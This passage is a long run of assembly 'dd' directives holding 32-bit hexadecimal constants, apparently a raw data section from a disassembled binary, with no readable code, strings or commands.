		dd 48D6A43Ah, 60CED260h, 7FEB4057h, 140FF790h, 182E7B3Ah
		dd 70EDC219h, 586A03DBh, 0A3B9BCB7h, 15FEF100h,	0FB2914B8h
		dd 0DF7B07BFh, 400C75DBh, 0AE475025h, 0C01D9A00h, 328BEEDh
		dd 1D407DA3h, 4296F5BFh, 0A3D544Fh, 0CBE8F4AFh,	5A9D6A60h
		dd 67FB1001h, 1B8984DEh, 9D3F3B00h, 0F812C1F7h,	98602241h
		dd 9255D099h, 9606808h,	5D803BB0h, 4F0890D7h, 0F10FD349h
		dd 0AE694B6Dh, 0A0598F0Fh, 0CF93C17h, 1E9612AAh, 0F2840815h
		dd 8B6234ACh, 367E8Fh, 0B16624ABh, 8E547EBFh, 0F6FC20CCh
		dd 0AC941009h, 3A64685Fh, 3C969Dh, 0F9F2811Dh, 0B0DD8473h
		dd 30C6A349h, 11041948h, 881086C8h, 186780B3h, 69920305h
		dd 1A003590h, 94071195h, 0A98F86h, 643F7A7Bh, 0EDCCC8D3h
		dd 1425DD00h, 0EBD1795Dh, 0F33712A0h, 9F5821C7h, 7405D8AAh
		dd 29D1E200h, 0B1905A34h, 176610B6h, 0D4980A5Eh, 2480BCFDh
		dd 62850631h, 0D6B1C018h, 5EFFBE25h, 3F226000h,	6F191D02h
		dd 117B47h, 5920A48Ch, 8EC87CA7h, 388F0C07h, 5164A86Bh
		dd 1CE6F0A0h, 80924614h, 60C3947Fh, 430C0158h, 0A9BEB913h
		dd 897007F4h, 0F0B077F0h, 0ED41E45Ch, 3BBE601h,	81AF2116h
		dd 78A11F0h, 36C46AF1h,	0FBECB19Eh, 20C3E120h, 19017668h
		dd 0B2DCABBFh, 0C1801C62h, 91AC8B6Fh, 92F6AF80h, 0ECE25B26h
		dd 3828C540h, 2ED4A0B8h, 51683A98h, 0DCA0FF40h,	0EB7DC31Eh
		dd 7CFB3326h, 0A1004C24h, 20804A12h, 58BC18A6h,	0CFF58D5h
		dd 6CF4C71Bh, 0C62788D0h, 0A1A3712Eh, 72FC6EC8h, 1FEC1EA6h
		dd 0F4C10320h, 49041315h, 9053F508h, 38C72480h,	2A1F1575h
		dd 1711874h, 19F7ED2Bh,	28C036FDh, 0FF07776Ch, 7B18A0BEh
		dd 0FEE5D30h, 0A77900EDh, 0C04372DEh, 0C9137C50h, 0A8806089h
		dd 58673B91h, 0E7507E7h, 0F4A5A91Fh, 4F51C4E0h,	29615350h
		dd 4DF68BB8h, 0C1DA3700h, 9CF70C28h, 7AAD5E44h,	679130BFh
		dd 0BB586C11h, 14E94080h, 0C06063F4h, 15188D80h, 0AE248BE4h
		dd 704034D5h, 2255218Fh, 0C5392E52h, 6451EFD3h,	4CC04B0Ch
		dd 71C03D6Bh, 8A8E02CBh, 0AF52334h, 85DDE080h, 30064A4h
		dd 0AA278D4Fh, 5573287h
		dd 567B4951h, 0C0AF00C4h, 5A0FA28Bh, 8AEACD03h,	90ADA6DBh
		dd 0B8CF4557h, 19CC1E89h, 0C5C934E5h, 0BBC0CBB8h, 0F24D3680h
		dd 111F66E8h, 3D025A87h, 6022512Ch, 0C6D3D8h, 5CE165DFh
		dd 66FC1638h, 0F4FF7000h, 0E08654ECh, 8728C420h, 192142D8h
		dd 189C0317h, 991504F4h, 40DA4B44h, 0FB50C189h,	72284266h
		dd 443FA544h, 37442CDBh, 0B33CA074h, 832F40E8h,	62C411E5h
		dd 84FEA011h, 252EE929h, 0C64370Ah, 0C295798h, 247464A8h
		dd 3C417B81h, 1811A927h, 0EA1840Ch, 6F0C2369h, 0CF003651h
		dd 34B4182Dh, 0B8AA210Fh, 9B010737h, 20E0BB8Dh,	0B491AD41h
		dd 4A44ED00h, 964F88E2h, 3A8C0072h, 0EF25470h, 4800314Dh
		dd 60906338h, 88159h, 0E3D91052h, 0F60AA153h, 0CCCA8400h
		dd 3B0DB8EAh, 31F500E9h, 4B8BDF12h, 0F032636h, 58B3FF3Eh
		dd 96B1F852h, 0B9011ED6h, 55A800FEh, 90B5361Ch,	6BF3C300h
		dd 0CBEF41C1h, 0A54A003Dh, 78543AC5h, 9A0082C7h, 0AC382661h
		dd 0B15832h, 44A20BEh, 8CF9BF41h, 0D300A09Ah, 68217334h
		dd 0CDCC15h, 12D0E992h,	31FEA2A3h, 17FBD500h, 0EB80EFBFh
		dd 0AFAA3AE7h, 1244A900h, 0C896D30Bh, 0B301C300h, 86EDA684h
		dd 6FAB0421h, 80DAF59Bh, 905E0704h, 985BD706h, 10E04Fh
		dd 0DA76EDD0h, 582270ADh, 0B299760h, 0DB9E75h, 819CD8A3h
		dd 0A90531D6h, 0D3026170h, 42B455A0h, 6EC800Dh,	0FF2B5Eh
		dd 1C6DCDC3h, 0B63701C4h, 0C009D22Ch, 0DB879E80h, 7672C85h
		dd 307B0BB4h, 0F157706Ch, 0E11CBFE7h, 20C0FC2Fh, 1CE8F061h
		dd 0E69F1393h, 8100ABDEh, 2D077208h, 7B9439A7h,	54856D00h
		dd 0BF8D28FFh, 447C8F00h, 74AE9E0Ch, 91772C59h,	87B80002h
		dd 92A303E0h, 3E6BDD07h, 9D404149h, 0B65030h, 6ABB7F29h
		dd 35F83A66h, 0FE242B00h, 0D0B543D4h, 0C4A80FE8h, 245F4412h
		dd 69D0E6Fh, 43CFCB60h,	6B00373Eh, 0E3628D67h, 7A5A28h
		dd 0F8F709E6h, 2C486AADh, 45522900h, 0D51A21E4h, 8A03070Bh
		dd 70957F60h, 6D2A0A01h, 54D2C1A0h, 0E0EEDC00h,	5236CDC0h
		dd 66D600F6h, 3FD5AFA1h, 0E3005395h, 2C67275Ch,	195038h
		dd 0B34FED8Bh, 2F588D83h, 93747501h, 6B5EC45Dh,	3FD270E0h
		dd 0C05090ECh, 0ED7F0096h, 0E5072E89h, 5100057Bh, 33605BEAh
		dd 81B08Eh, 3536F232h, 0C7977C70h, 51D32B00h, 0EBF08AC2h
		dd 0E4DD0080h, 4E312F27h, 560E1C11h, 28BFA9h, 0C6EC3778h
		dd 54950049h, 46BCB11Bh, 94012A5Eh, 794EF1FBh, 0EAF8D571h
		dd 85C010Eh, 9D326849h,	779C2031h, 245AC13Dh, 0D20024C8h
		dd 4EA83086h, 0EEE80BFDh, 0FD03B46Bh, 5A8892AAh, 965A4C18h
		dd 0D525E840h, 3E8BD52h, 3CF72A50h, 48737644h, 0E24E0900h
		dd 0A167FD34h, 25B4004Ah, 59A6E5D4h, 0A3FE523Fh, 769B6424h
		dd 0D300F62Ch, 8F7B2821h, 0D976001Eh, 248178FCh, 0A90E12CDh
		dd 0EF75CFD0h, 0D520C389h, 0D2C3E8B5h, 4BB4005Ah, 0FF5728F8h
		dd 26004290h, 0BE8B1DDBh, 75EEAEh, 435D214Eh, 0FE313471h
		dd 0C6DEC807h, 3A04B6Bh, 0D60D0Fh, 0A5B5FCFDh, 591A9B69h
		dd 0B1E57300h, 46A767A3h, 0A0BC00F2h, 0CE62C51Ch, 0FA00EB01h
		dd 0B51ACC31h, 0BB2F5Eh, 2ECB6A08h, 368B166h, 0A428C700h
		dd 0F170D5B4h, 9DDC00BAh, 2FFCE434h, 9600615Eh,	0C8408D1Ch
		dd 1F2560F3h, 0BDD9AAh,	0B5CF7CB4h, 522402F8h, 6200C45Eh
		dd 0B1ACB9EBh, 0EF181D73h, 0C75440DBh, 69886803h, 30CCF401h
		dd 8A6236A1h, 0A949AC40h, 0FF72045Ah, 80B8CE24h, 39F6C593h
		dd 34585F00h, 0F41CBE30h, 436E0064h, 0A1A8249Eh, 7F00DC71h
		dd 0D165A34Ah, 0F167C03h, 7680FBB1h, 470FF2E7h,	3A487007h
		dd 670025E6h, 0C41457A4h, 9EBF9Ah, 75BEFAB1h, 76BDE222h
		dd 8185A900h, 0A68688FFh, 44D4008Dh, 13B7DACBh,	68E4075Ch
		dd 0E550350Fh, 0E81600D7h, 0FEA20431h, 79400B5h, 0BD2330F8h
		dd 742649E2h, 2D07F395h, 0A860803Ch, 93DE24h, 0D092A26Ch
		dd 0BD8C8E20h, 0FF4E7900h, 7A3C4118h, 62B51361h, 25C8077Ch
		dd 9740304Fh, 18015950h, 0E36FC3DBh, 1C303241h,	31EC78h
		dd 0D56B21F0h, 64A21D68h, 80147A3Eh, 0DFCEF1B8h, 325DDFDh
		dd 0C1CBAE24h, 5FC18E9Eh, 646AD859h, 0F5CD9D39h, 0DF004498h
		dd 965B07BAh, 1D41C4FEh, 4062F19Eh, 500CB317h, 0DD0F94F7h
		dd 2065D7B5h, 866A9910h, 989E7C7Fh, 34D2009Fh, 54A77ED0h
		dd 0D8A35B72h, 0E05AE1C8h, 0F38E4700h, 0DEAAC5D4h, 0B0BFA1Eh
		dd 0D1EB48EEh, 3CB9000h, 8C0091FEh, 32E5585Dh, 0C79D2C60h
		dd 0A07E9056h, 0B2CB3CC4h, 8E07B898h, 0C697C00Eh, 7377AF20h
		dd 1B1107D0h, 10406589h, 3E472E56h, 8060253Eh, 1F0EB397h
		dd 7526890h, 50E05EF9h,	324B80C8h, 541407A0h, 0A0D456h
		dd 7884DBE2h, 526CECCh,	0A89DEA77h, 4BD500B1h, 0A3CA182Eh
		dd 2458FA58h, 0FE18A952h, 71273FDCh, 3DCB816h, 2DDB2E02h
		dd 93E09DF6h, 1E188BAFh, 0A4AEA270h, 0C834099Eh, 90A051AAh
		dd 0FF7E4E55h, 4823890Ah, 0B4008582h, 6D29543Fh, 1E97032h
		dd 6428B247h, 3017D813h, 22002C9Ch, 0B8C625Eh, 3609FEh
		dd 9CF3B54Dh, 254E53CEh, 9083E902h, 60919ACBh, 1AFA544h
		dd 8C3B7BBFh, 40D429ADh, 0A4EFA3E0h, 0E8323900h, 1F42143Ch
		dd 0F0BC1EFFh, 8A2FC0CBh, 2DBBB9DAh, 7D0F07F2h,	40B189ECh
		dd 10C9DC2Ah, 7FE23C6Ch, 0A069E100h, 6D7B7C54h,	5E1D3401h
		dd 923E8F9Eh, 78F58020h, 0F22B0024h, 0BB6791Eh,	3F3F91E5h
		dd 0FFD4030Fh, 0F3223C20h, 77D2078Dh, 0E0CD5E19h, 79B598FDh
		dd 0A4DFE200h, 866290DEh, 0D392005Ch, 9C1469D1h, 651E3427h
		dd 2FC136A0h, 9BAE5DCh,	82DFD4h, 0DD3A3D46h, 8F30ED49h
		dd 0C200F87Eh, 4D0CC486h, 2EF7D324h, 9699F2h, 39F8C994h
		dd 0D8030784h, 0DA7E4133h, 2FC08C37h, 3811FED0h, 0EE0062A4h
		dd 8E1008BDh, 0A87A0D05h, 96B52600h, 1FCC914Eh,	0AA3A0071h
		dd 2AF3E416h, 0E91CC80Ah, 39473B03h, 52E0F6C7h,	0F89073Dh
		dd 55823B8h, 8ADF85E0h,	0F52ABA18h, 0AD04FC67h,	0B37A3D78h
		dd 88D07BC3h, 7BBD426h,	24902EFFh, 15A7F036h, 483DD10Eh
		dd 125301AFh, 9228084Dh, 2D9030h, 0D62711E5h, 7687858Ch
		dd 675D6F01h, 1205E0D1h, 3BDF4D8h, 2865B7ECh, 0BBE87A4Eh
		dd 5C1316A6h, 0C4206CDCh, 0C0C139B0h, 8B5F5E19h, 339059ACh
		dd 4C37D100h, 7E6C0E4Bh, 0A66F008Dh, 0B09264C7h, 98008B1Bh
		dd 93E5F630h, 3EC80F54h, 0ECD8A0E0h, 0A1030773h, 35284AC0h
		dd 601C90E3h, 3401C5F3h, 41EAA4C1h, 0DC60535Ch,	0F9E300DEh
		dd 6CB08CE2h, 9A004F27h, 372E993Ch, 0F882C0Fh, 3A60593Fh
		dd 0EF7CF620h, 2B005F97h, 848CD329h, 905B57AFh,	7AEC021Ch
		dd 46EA2F36h, 0C048AC40h, 0C600EFFEh, 2C40291Fh, 28606EC7h
		dd 803F50h, 0D89502CCh,	0AA0ECE34h, 0E1A84000h,	0A0886205h
		dd 1A0D002Bh, 3A1B4B6Eh, 0CE00E204h, 97BDDCD7h,	0FD32170Ch
		dd 0E795E0h, 7A184093h,	5B0BE29Ch, 0C9548CA0h, 565CF0F0h
		dd 0CBE500DCh, 58F6504h, 2F8E0476h, 0AB1ED8CDh,	0F382E8C1h
		dd 0E800883Ch, 0BDE9477Eh, 0FD581D3Eh, 80583B10h, 0C18C28D2h
		dd 3D27F7FCh, 0AC4D6A8Bh, 0B069DB00h, 0CFD993Bh, 5200E9FCh
		dd 7EBB2BC9h, 34A7ABh, 0F0A2A92Eh, 4FAD979Ah, 20719C01h
		dd 0B6842D21h, 419480EAh, 508B75h, 0A08CCC13h, 0E26FA1C5h
		dd 0B3C8B600h, 1F2C732Fh
		dd 19B40032h, 0CEEC749Ah, 0DF05861Ah, 0C2FABF41h, 2CE074B0h
		dd 16E8A57Fh, 460C007Bh, 1EACB64Bh, 0B8E2F0FBh,	0F27F4F00h
		dd 21A0C52Ch, 6CA43A5Ch, 5819E180h, 0F460F909h,	2E302DE4h
		dd 46515C9Ah, 0F05C4C72h, 92A00E00h, 8FAFEE9Dh,	0B9B05Ch
		dd 3D485F47h, 476291Eh,	2ABF406Dh, 0F0E8F0BAh, 0B70930B8h
		dd 80690FB1h, 0FED570A0h, 1C347C73h, 0C0089E1Ah, 5EEB50B3h
		dd 1003D1CFh, 67C0BBAAh, 0C11BA2E6h, 56C0D447h,	0B04E0042h
		dd 0F0A50A58h, 5500368Bh, 5BAE31A1h, 375AB7h, 0EF64948h
		dd 33AFBF10h, 34074775h, 98CD73F2h, 0AC97C840h,	3E39014Eh
		dd 0ADFD42F1h, 9FBE807Ah, 8A9AA5B9h, 7766798Eh,	553200DCh
		dd 75118687h, 5738E16Bh, 0E40B804Eh, 51D1DF78h,	0FA76006Ch
		dd 9A79E22Eh, 0F0B8F4Ah, 0E7C43Bh, 4BEB510h, 0C628C00Dh
		dd 0EAE888FDh, 6B7B9C00h, 4368B98Ah, 76F9002Dh,	77C8AB1Fh
		dd 42FF042h, 0DA3C829Fh, 48FD804Bh, 0E6A0A2h, 46808219h
		dd 9FB4EBC4h, 7D406700h, 4B5B56F2h, 89D73D42h, 64804DBDh
		dd 186EAB0Ch, 5200B3A6h, 5BDD5C34h, 1FB01520h, 0D6A3FC28h
		dd 0E57840EDh, 0EF67D79Dh, 0FB91AF00h, 9268D842h, 22483E9Ch
		dd 14351812h, 5E0028FCh, 4A781E3Ah, 0C80024FEh,	92CB3E19h
		dd 6C3253h, 2C9EBABh, 4A5076B3h, 9A3CAF07h, 4E24E05Dh
		dd 0DCF4A0h, 9D9C19D9h,	3EBC914Dh, 0A42F6700h, 37B88A51h
		dd 0C7CA00E7h, 1E169FAh, 8398F60Bh, 743A6A00h, 2B443684h
		dd 0F0BB2710h, 0C3712C83h, 5F8F19E0h, 1AD3E016h, 6677D700h
		dd 3B648Ch, 0C7CCCB17h,	3101D8E6h, 1BC88160h, 802D1Ch
		dd 5E92736Dh, 0AE76F296h, 55493F12h, 0B10E5400h, 1836FEB5h
		dd 4EB337A1h, 76050987h, 90490B43h, 0F4F8EC00h,	98A34457h
		dd 3AD639A0h, 29A6B283h, 0B1C01C05h, 50000431h,	0E8377B51h
		dd 2D55FF6h, 7F751981h,	0B3E02111h, 0EA00590Ch,	25BF295Ch
		dd 1776E002h, 985F36h, 387A939Dh, 0C8070DEFh, 7BFC0850h
		dd 0F6B51B20h, 828500EAh, 5FB79414h, 0D494A09Ch, 4A1D5C00h
		dd 42C97Dh, 6C82D528h, 0C8B20B17h, 0C0546400h, 58CBAC80h
		dd 68300A9h, 358C8982h,	0FE024385h, 6A93AA02h, 0B21CC0B4h
		dd 127FA6Eh, 67B5AFE4h,	206DAE23h, 3A03122Ch, 0BCC7B034h
		dd 0AC418080h, 9B7F16h,	0C091FBBEh, 924185Bh, 3693A900h
		dd 0B7CD783Fh, 0B4FFF61Bh, 65330FD0h, 242C9760h, 0DE00635Ah
		dd 0A1EA64F4h, 0FA6836ABh, 0E0A20014h, 0D901F58Bh, 0A03EDA91h
		dd 629482DDh, 805E6E3Fh, 73218DD8h, 0E19A0095h,	0ACFF7FA5h
		dd 65010880h, 6826F88h,	55E8FD72h, 0EF3D0EBCh, 0C6E09B44h
		dd 0E246F9CAh, 0BF641500h, 0D08AE9CDh, 0FEAF0059h, 0AD5508DFh
		dd 0F600E03Bh, 8E24E1B8h, 7654BEEh, 726AD164h, 0CB40D0EAh
		dd 0C972C375h, 7FCF5B3Eh, 0A0025DF2h, 40B47168h, 4E4C4080h
		dd 54490FFFh, 3E7D07DAh, 4A9EC580h, 0D0E961C1h,	15417300h
		dd 3F6FC2A3h, 2F630EAFh, 18C0A5F5h, 0F0237B2Ah,	9C48BF00h
		dd 0A2046DBAh, 0FFE90060h, 0CE202202h, 0B1039F93h, 38D1EB6Ah
		dd 0CCD4887Ch, 0C997975h, 0B34C8F62h, 0CF4FED68h, 70F90CD0h
		dd 0B8EA2C2Dh, 0A4F4017Ch, 439C32D5h, 0A1A9D4C8h, 0ECABE442h
		dd 0A00DA327h, 7E93DC20h, 0E3A00091h, 11D31BEEh, 1CE0EF1Eh
		dd 99329A03h, 0D0ED3D2Ch, 579298h, 0E0A7836h, 3C6A16C7h
		dd 5E187300h, 0B6C88252h, 432E0344h, 25CCF8BFh,	0FB4A980Eh
		dd 100F0E6h, 8FB17295h,	1B00E1E0h, 5088791h, 9F218ECh
		dd 0B386D736h, 30C3FF86h, 0E181E5Ch, 800346E2h,	0DA7E242Ah
		dd 96430F77h, 0CB00F0D4h, 452FEBFFh, 0FEB8E600h, 0C8F69A6Ah
		dd 7312015Ch, 0FCCA7849h, 0CFBBF109h, 5F1C1AE8h, 41A57A0Fh
		dd 0F1D3E3C4h, 9F6B98EAh, 2A202CEEh, 24621E41h,	0FB7B01ACh
		dd 0F4559154h, 0D11B1E8Eh, 0E8886DADh, 2D4EBE0h, 0A53BAE62h
		dd 3CEA9507h, 0AC47D300h, 97034AA1h, 3C4BD089h,	0C5D003C2h
		dd 86DBCFDCh, 307A3AE1h, 76072060h, 37D8B594h, 482D1C0h
		dd 531E0308h, 0EB2538D5h, 8F222190h, 141DFC2Ch,	0E1768B3Ch
		dd 43388013h, 0C558A2h,	59349B25h, 0A9CB8F93h, 0AAD99801h
		dd 86B43EACh, 4E07EE8h,	0B68C2030h, 144A935h, 6A3201BCh
		dd 0A081BE84h, 0D170CA90h, 0C5A4F8B0h, 364F3D00h, 97411B9h
		dd 77723CE3h, 0A3467500h, 9CA41992h, 1A9A821Dh,	27B94840h
		dd 1C1FBDh, 0FF86BD0h, 0E14C0A67h, 5804775Bh, 6C90B5A3h
		dd 1CCF11h, 0F0D19790h,	52552B31h, 605C4900h, 1D963DEBh
		dd 89380001h, 0FF24F128h, 80016C1h, 6BD1DB26h, 0EAD676ADh
		dd 0F4C87E14h, 174E0F5Ch, 87A55A22h, 0B75C81F7h, 20283189h
		dd 0EC007707h, 222B29F1h, 1ED1E59Bh, 87CCA74Bh,	0D05BB871h
		dd 0B4DA8688h, 8ED42B03h, 98D84091h, 98C8FCh, 0DD0746EBh
		dd 15060FE5h, 1E698F1Fh, 0B2D90E8Fh, 0A6F4B0h, 135C1CF0h
		dd 0DAC012A5h, 9200DEF0h, 70B85337h, 77AB5EAh, 47429BA9h
		dd 0D80C91Ah, 91BB1E25h, 39924100h, 672169FEh, 0C1F3013Eh
		dd 8818393h, 0C0EADCC2h, 0B7A66600h, 0A1844ABh,	9FA10069h
		dd 3B7C9A47h, 5C0BC734h, 430D2F83h, 973C804h, 81FD006Bh
		dd 1D57EAF7h, 0E6000E60h, 3FB14AEDh, 526BA1Ch, 77B3A720h
		dd 7028C013h, 0C20125B5h, 930384A2h, 8BD43FEDh,	0FB12009Fh
		dd 3C285B6Fh, 5400BEAEh, 3B797756h, 3B733B4h, 1769E257h
		dd 63B09FBCh, 0EB78D897h, 87928E02h, 40E5129Eh,	4E61459h
		dd 1C6AF084h, 0B802C442h, 580900C8h, 0A51110BFh, 0B460F1F6h
		dd 73620042h, 0D165FB53h, 3801ADB8h, 0C5363BFFh, 68D2E086h
		dd 4820492Ch, 0F000CC80h, 2B3C331Ah, 77018263h,	0A6FE1417h
		dd 62CC0853h, 0C2E200CFh, 0C354BDD1h, 9DB8A2h, 45A8B6FCh
		dd 81E100A6h, 2C891E76h, 0A000FFADh, 328DEE49h,	5F41773h
		dd 0EBFE3C94h, 6EB880C6h, 1F8C515h, 4D16757Fh, 0D30BE442h
		dd 722C8060h, 266A02F8h, 42E81467h, 866E411h, 0C173B200h
		dd 0FEA93E03h, 0C8D6A055h, 0DE9D0F53h, 0B2E46Bh, 65A12D60h
		dd 3A00F2E7h, 5C7ECE18h, 199FCDh, 17C3F745h, 226130B9h
		dd 0E7EB5E00h, 0E666FACEh, 28989Ah, 7AE80C08h, 0E5133DD7h
		dd 0B83EB400h, 8E2F0EAEh, 0F9D80177h, 0CF5357ACh, 637080D6h
		dd 0EBEA3690h, 0B662006Ch, 749FCEF9h, 0C1000EC6h, 0CF3674Ch
		dd 0C93D41h, 725DB0EDh,	4DFDE742h, 8E5C4709h, 0BB94006Dh
		dd 3AD3F164h, 4006345h,	1E5E4BDAh, 310C7CBDh, 58B84FEEh
		dd 750300C7h, 0FB898E1Ch, 0FD7F352Bh, 0F9486D71h, 0D4290003h
		dd 0C76EDBCEh, 55FC8Eh,	0AAC770Ch, 19E8CC40h, 0CE010B00h
		dd 0D2BB8D97h, 612D0418h, 0B8DFC14Eh, 0A9A00B0h, 561235FBh
		dd 5BBD0016h, 0BB18F64Dh, 8B28DB9Dh, 0B24CC2D5h, 0FC81240h
		dd 3BE4B880h, 9681003Ah, 992CD72Eh, 1D00FD22h, 118C39Ch
		dd 0BC28B3h, 0EBA1251Ch, 0F9616419h, 0B8ACCF02h, 40FB5D6Ah
		dd 32F1300h, 688EFEADh,	9AC0AB0Ch, 4E3DD1D8h, 9187004Ch
		dd 67840A5Fh, 9B4901ACh, 253DEDC7h, 0EB21C444h,	5A8F601h
		dd 0C2326531h, 175256C8h, 0B150CD7h, 0B0806BD7h, 78923814h
		dd 710AEF00h, 4CD4FC99h, 21B100B5h, 9E3FF847h, 0C00E42Bh
		dd 9A76DD32h, 0CB336Ch,	28A97F85h, 0F7F34359h, 1D97E307h
		dd 99F05FDDh, 480B5Eh, 0B34A17C2h, 0D5C46A1Bh, 0F3295007h
		dd 0B591BE57h, 0BEC49BAh
		dd 0BBD80016h, 0AE4493EBh, 0E01CFD9Dh, 3D8076F0h, 0DBAC0748h
		dd 0C4425820h, 0AF9AFB00h, 0FED7596h, 0CFBC8C00h, 0FDE97383h
		dd 242EAABh, 0F7CE02FEh, 84EFB475h, 0FCB6F00h, 0CD84F4h
		dd 5DB9B8C7h, 1B65FD14h, 809D9BF6h, 6D232428h, 0DECC0927h
		dd 0AB033AD4h, 0A098E3C9h, 99056A61h, 9AEDAC90h, 9256BFC0h
		dd 1757AAFh, 0C9BB34BEh, 6089DB7Dh, 2A3FF302h, 876100CBh
		dd 3DFE2526h, 5D7B3D69h, 0C70913h, 0DC7EE7DDh, 0BA0732E0h
		dd 0A1803CC6h, 18289650h, 11073822h, 7F87E83Bh,	0F08E8814h
		dd 27F8ACFBh, 0D498849Ah, 2D6F7300h, 39340296h,	0DAF30075h
		dd 0AE8CB72Ch, 4A005B44h, 46E3E7DEh, 50770A7h, 0B234085Eh
		dd 9A20C22Ch, 11A6B660h, 6F611D18h, 1C25A520h, 80DA5502h
		dd 432CF62Fh, 0DB67B385h, 0F5702230h, 16470B0h,	0D0539C3h
		dd 0C3A4BF56h, 78C1B012h, 1F0C4E0h, 70C8D509h, 0DC69B320h
		dd 850596E1h, 0C9CF3C0h, 5600ACB2h, 38DBEA7Fh, 18B8E575h
		dd 0AE80B09Ch, 4240F60Ah, 10AF003Dh, 544B90CAh,	954C19CFh
		dd 0AE007B8Ch, 0DAB7831Dh, 7424FE94h, 61310F47h, 0EB606F9Dh
		dd 0A5A9A6E1h, 60C20203h, 0D9293C2Eh, 2F203804h, 0BF6806CFh
		dd 103B2196h, 764FE93Eh, 0CCEE7507h, 5940F25Fh,	97C6A2C0h
		dd 0B10097D8h, 924F89F9h, 5F517850h, 84003B6Dh,	0D330CF08h
		dd 75040247h, 0BF06177Ch, 2E1144A0h, 6F94CBBDh,	23EF8860h
		dd 600008F8h, 78FDC5FCh, 302F4F2h, 977BAADh, 5E8881D1h
		dd 0F709EF3Fh, 0D8A8F311h, 7EE90014h, 5B5A5647h, 93005E10h
		dd 7D928284h, 80DBA4h, 30897908h, 9B879C06h, 0BE864600h
		dd 62B5B45Bh, 0B9D40170h, 27EAE713h, 88F04015h,	5C00C898h
		dd 71FAA3E9h, 0F228658Bh, 5080B75Ah, 0F2E8820Eh, 34DB5D0Bh
		dd 3BDC807Ah, 0F35DC70h, 9A1F4F7Fh, 1A33B640h, 6A00F5E2h
		dd 81CA6BF3h, 380DEEBh,	0B454D9DAh, 7DC8271Fh, 0C90099C0h
		dd 4DD4484h, 0F9D15Bh, 2119929Dh, 0CBA08917h, 15AFDB01h
		dd 7CED70D3h, 0D704043Fh, 4CCCD17Fh, 886EC0CEh,	94ACB700h
		dd 9C6D1B5Dh, 0FEF500AEh, 0A1711C07h, 0DB7426B1h, 0C3C1AF6h
		dd 0E04C9Ah, 0D84487BFh, 740D4DCh, 985C615Fh, 0B820D44Fh
		dd 59A700F4h, 0BDB9A1EFh, 1EA4BEDDh, 5E77404Dh,	8C85703h
		dd 9A755003h, 0D891F4DAh, 66FB0C3h, 49BFAFAEh, 4107B1D3h
		dd 5D7EDB05h, 3F520710h, 1202F85Fh, 0BA1886h, 6A486E8Ch
		dd 0D600322Dh, 76DCD457h, 3E96F265h, 450001BDh,	809F92C6h
		dd 850747CAh, 2B26FA28h, 58B9F300h, 0F9510761h,	5082C938h
		dd 4C0A46E2h, 0C0FDE427h, 0D3AC88h, 20FF27D8h, 11745ACDh
		dd 4AC17100h, 15F4954Fh, 52050055h, 0FD0F02FFh,	1F1D3C1Eh
		dd 12C090E5h, 0B7F9114Dh, 0EC4B17h, 0FF5AA530h,	0E800AE88h
		dd 428C5D2Fh, 9D33A08h,	5CC56318h, 0F5C2F820h, 0D0034F7Eh
		dd 0E2A22D9Bh, 6187DF2h, 0C9FCD9BBh, 520010EFh,	4B199169h
		dd 372EBAh, 0ECF38FD0h,	586AABA3h, 6E35E8F9h, 0DC345C00h
		dd 2DD59DE4h, 5A220FAFh, 10E1B244h, 38521F16h, 0D21B0730h
		dd 34F3888Ah, 706BC80Bh, 28B00083h, 71E758F1h, 2501D760h
		dd 0F0D37339h, 94306124h, 5AB71D5Eh, 0DC7649C5h, 7D290403h
		dd 0F354C1C0h, 0D12F2C04h, 54C3C907h, 7684C033h, 933F06F7h
		dd 101D61DDh, 943D0571h, 5D5C87B9h, 6E07334h, 0E93E75h
		dd 0A0136BB4h, 0CD358B60h, 3CF61400h, 2DDA871Dh, 6DF2C5h
		dd 0B745ECFCh, 66A0AFB4h, 40903458h, 9F0260DEh,	767E709h
		dd 1576C06Ch, 2CB100E1h, 0C21B902h, 0BA00AA69h,	0C2E585E7h
		dd 0B5E6CBh, 0C0B08F15h, 8E646242h, 1F563F3Bh, 0E842B93Bh
		dd 0E072BA2Ch, 0A8DE43h, 56D18899h, 1FE08B40h, 49007979h
		dd 63A74FD6h, 342522h, 4B9B9769h, 14F787ACh, 38288B60h
		dd 0AB1B67h, 7DD01753h,	0B0332410h, 0B506E800h,	0BD236BFFh
		dd 9DA500E3h, 0F0DE661Fh, 890035E4h, 0EAFA1E1Ch, 8B0B17h
		dd 18F148BBh, 39E1E0A9h, 0DD58EE1Dh, 319D90C1h,	0E06B19DBh
		dd 50003DEh, 4ED0E5C3h,	33BC9CDh, 597658E0h, 22E8DC44h
		dd 7800A9ABh, 0B75D719Dh, 0F2B124h, 0F5F70E5Ah,	38B829D1h
		dd 5F0F3207h, 69BF15h, 76CF04F3h, 588CECDAh, 231F8651h
		dd 1A27003Dh, 69A4EC64h, 2F495200h, 0C1377104h,	0A0110312h
		dd 0FF26686Ch, 65B42E80h, 7C916D00h, 0E024EC71h, 0C2A71FC8h
		dd 1C04E3Ah, 0ABE7D080h, 9C00A067h, 7846A10Dh, 0C8FD7D6h
		dd 0F788A75Ch, 3FFE6980h, 0B5586600h, 0AB0A49EDh, 0C5D700BAh
		dd 0F0FA2AE5h, 67016EB6h, 0B46234CCh, 5CF0D348h, 0AA70022h
		dd 0DB1F8A8Ch, 23007E10h, 1E03C4Bh, 0E614605Dh,	0EC6B3E0Bh
		dd 0E10D0600h, 0EFD41883h, 0EB161C00h, 0ABF53086h, 0DF733A68h
		dd 98C03981h, 803E8815h, 5927C658h, 1C64D599h, 80BB4316h
		dd 0B35FC147h, 6000879Fh, 0DACA4598h, 38C3F877h, 0AF816B9Bh
		dd 1C5F3DF1h, 1B66F40Ah, 8908D00Fh, 1896205Ah, 7C0D738Ch
		dd 2FA701C5h, 0F067549Bh, 0CA8F017h, 294E5830h,	0F7D690h
		dd 0E62DA2E3h, 0DBC5F359h, 4C77D800h, 2029FE69h, 5DE41342h
		dd 0F42B0056h, 797B8A2h, 912AFF1Fh, 2002608Fh, 0E88E41Dh
		dd 0B05EF8B7h, 3E6F1FF6h, 4CE9C0E2h, 0B09E3FF6h, 48DBA809h
		dd 793020DAh, 39F99D8Ah, 0C70E5D28h, 0A540E395h, 60B2789Ch
		dd 41DCFB00h, 0ABEB1D76h, 590B082h, 380B7331h, 0C5EE8037h
		dd 6603BCF7h, 0C6946813h, 153180DCh, 0B56A500Ch, 480A0074h
		dd 0A9902757h, 3A0CE17Ah, 80DAA721h, 176300B4h,	2AEC9E98h
		dd 7D0081ABh, 0C61B4509h, 27D55087h, 0FB76A3B3h, 0FEF11600h
